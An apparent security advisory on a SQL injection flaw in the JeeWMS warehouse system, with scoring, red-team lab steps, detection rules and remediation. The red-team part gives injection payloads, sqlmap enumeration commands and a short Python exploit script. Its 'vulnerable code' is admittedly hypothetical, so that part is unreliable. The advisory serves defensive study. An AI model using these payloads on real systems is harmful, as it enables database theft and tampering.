CVE-2025-5388

Executive Summary

CVE-2025-5388 is a critical SQL injection vulnerability in JeeWMS, an open-source Warehouse Management System. The flaw resides in the dogenerate function of the /generateController.do?dogenerate endpoint, allowing unauthenticated remote attackers to inject arbitrary SQL commands. Due to the vendor's rolling release model, no specific patched version is available, and the vulnerability remains unpatched in the latest release (20250504). The CVSS score is 0.0 in the NVD record, but based on the description and impact, a realistic CVSSv3.1 score is 9.8 (Critical). No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward.

Supply Chain & Package Security

JeeWMS is a Java-based web application typically deployed as a WAR file or Docker container. The vulnerability is in the application's own code, not in any third-party library. However, organizations using JeeWMS should verify their deployment integrity and ensure no malicious modifications have been introduced via the rolling release channel.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the only affected component.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – ability to modify or delete data.
• Availability (A): High (H) – potential for denial of service via SQL injection.

Overall CVSS Score: 9.8 (Critical)

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the dogenerate function of the GenerateController. The endpoint /generateController.do?dogenerate accepts user-supplied parameters without proper sanitization or parameterized queries. An attacker can inject SQL commands by manipulating the dogenerate parameter or other related parameters.

Root Cause: The application constructs SQL queries by concatenating user input directly into the query string. For example, a vulnerable code snippet might look like:

String sql = "SELECT * FROM table WHERE id = " + request.getParameter("dogenerate");
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

Attack Vector: An attacker sends a crafted HTTP GET request to the vulnerable endpoint. The injection point is the dogenerate parameter. For example:

GET /generateController.do?dogenerate=1' OR '1'='1

This would result in the SQL query:

SELECT * FROM table WHERE id = 1' OR '1'='1

Impact: Successful exploitation allows the attacker to:

• Extract sensitive data (usernames, passwords, inventory data).
• Modify or delete database records.
• Potentially escalate to OS command execution via xp_cmdshell (if SQL Server) or INTO OUTFILE (if MySQL).
• Bypass authentication and authorization controls.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison.

Vulnerable Code (Java):

@RequestMapping("/generateController.do")
public String dogenerate(HttpServletRequest request, Model model) {
    String id = request.getParameter("dogenerate");
    String sql = "SELECT * FROM orders WHERE id = " + id;
    // Execute query...
}

Patched Code (Java):

@RequestMapping("/generateController.do")
public String dogenerate(HttpServletRequest request, Model model) {
    String id = request.getParameter("dogenerate");
    String sql = "SELECT * FROM orders WHERE id = ?";
    PreparedStatement pstmt = connection.prepareStatement(sql);
    pstmt.setString(1, id);
    // Execute query...
}

The patched version uses parameterized queries (PreparedStatement) to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy JeeWMS version 20250504 in a Docker container:

   docker pull jeewms/jeewms:latest
   docker run -d -p 8080:8080 jeewms/jeewms:latest
   

2. Access the web interface at http://localhost:8080/jeewms/.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://localhost:8080/jeewms/generateController.do?dogenerate=1
   

2. Test for SQL injection by injecting a single quote:

   http://localhost:8080/jeewms/generateController.do?dogenerate=1'
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.
3. Use sqlmap to automate exploitation:

   sqlmap -u "http://localhost:8080/jeewms/generateController.do?dogenerate=1" --batch --dbs
   

4. Extract data:

   sqlmap -u "http://localhost:8080/jeewms/generateController.do?dogenerate=1" --batch -D jeewms --tables
   

Manual Exploit (Python):

import requests

url = "http://localhost:8080/jeewms/generateController.do"
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
params = {"dogenerate": payload}
response = requests.get(url, params=params)
print(response.text)

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious patterns in the dogenerate parameter:
   • Single quotes (')
   • SQL keywords (UNION, SELECT, OR, AND, --)
   • Repeated requests with varying payloads.
2. Enable Web Application Firewall (WAF) rules to block SQL injection patterns.
3. Use database activity monitoring to detect anomalous queries.

Hunting Query (Splunk):

index=web_logs uri="/generateController.do" 
| rex field=uri "dogenerate=(?<payload>.*)" 
| where match(payload, "['\"]|UNION|SELECT|OR|AND|--")
| stats count by src_ip, payload

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /generateController.do?dogenerate= containing SQL injection patterns.
  • Unusual database error messages in HTTP responses (e.g., "SQL syntax error", "ORA-00933").
• File IOCs:
  • Modified JSP files in the web application directory.
  • Suspicious files in /tmp or /var/tmp (e.g., webshells).
• Database IOCs:
  • Unexpected rows in sysadmin or user tables.
  • New database users with elevated privileges.
• Log IOCs:
  • Web server logs showing repeated 500 errors from the same IP.
  • Database logs showing queries with UNION or OR 1=1.

Detection Engineering

YARA Rule

rule CVE_2025_5388_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting JeeWMS dogenerate endpoint"
        author = "Valters IT"
        date = "2025-05-05"
        reference = "CVE-2025-5388"
    strings:
        $s1 = "/generateController.do?dogenerate="
        $s2 = "' OR '1'='1"
        $s3 = "UNION SELECT"
        $s4 = "1=1--"
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: JeeWMS SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against JeeWMS /generateController.do endpoint
author: Valters IT
date: 2025-05-05
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/generateController.do?dogenerate="
    keywords:
        - "'"
        - "OR"
        - "AND"
        - "UNION"
        - "SELECT"
        - "--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5388 JeeWMS SQL Injection Attempt"; flow:to_server; content:"/generateController.do?dogenerate="; http_uri; pcre:"/(\%27|'|OR|AND|UNION|SELECT|--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the JeeWMS application from the internet if possible.
2. Apply a virtual patch using a WAF (e.g., ModSecurity) to block SQL injection patterns.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

1. Upgrade to the latest rolling release (check vendor's repository for any commits addressing SQL injection).
2. Implement parameterized queries in all database interactions.
3. Conduct a full code audit for similar vulnerabilities.

Workaround:

• If source code is available, manually patch the dogenerate function to use PreparedStatement.
• Restrict access to the /generateController.do endpoint via network ACLs.

Valters IT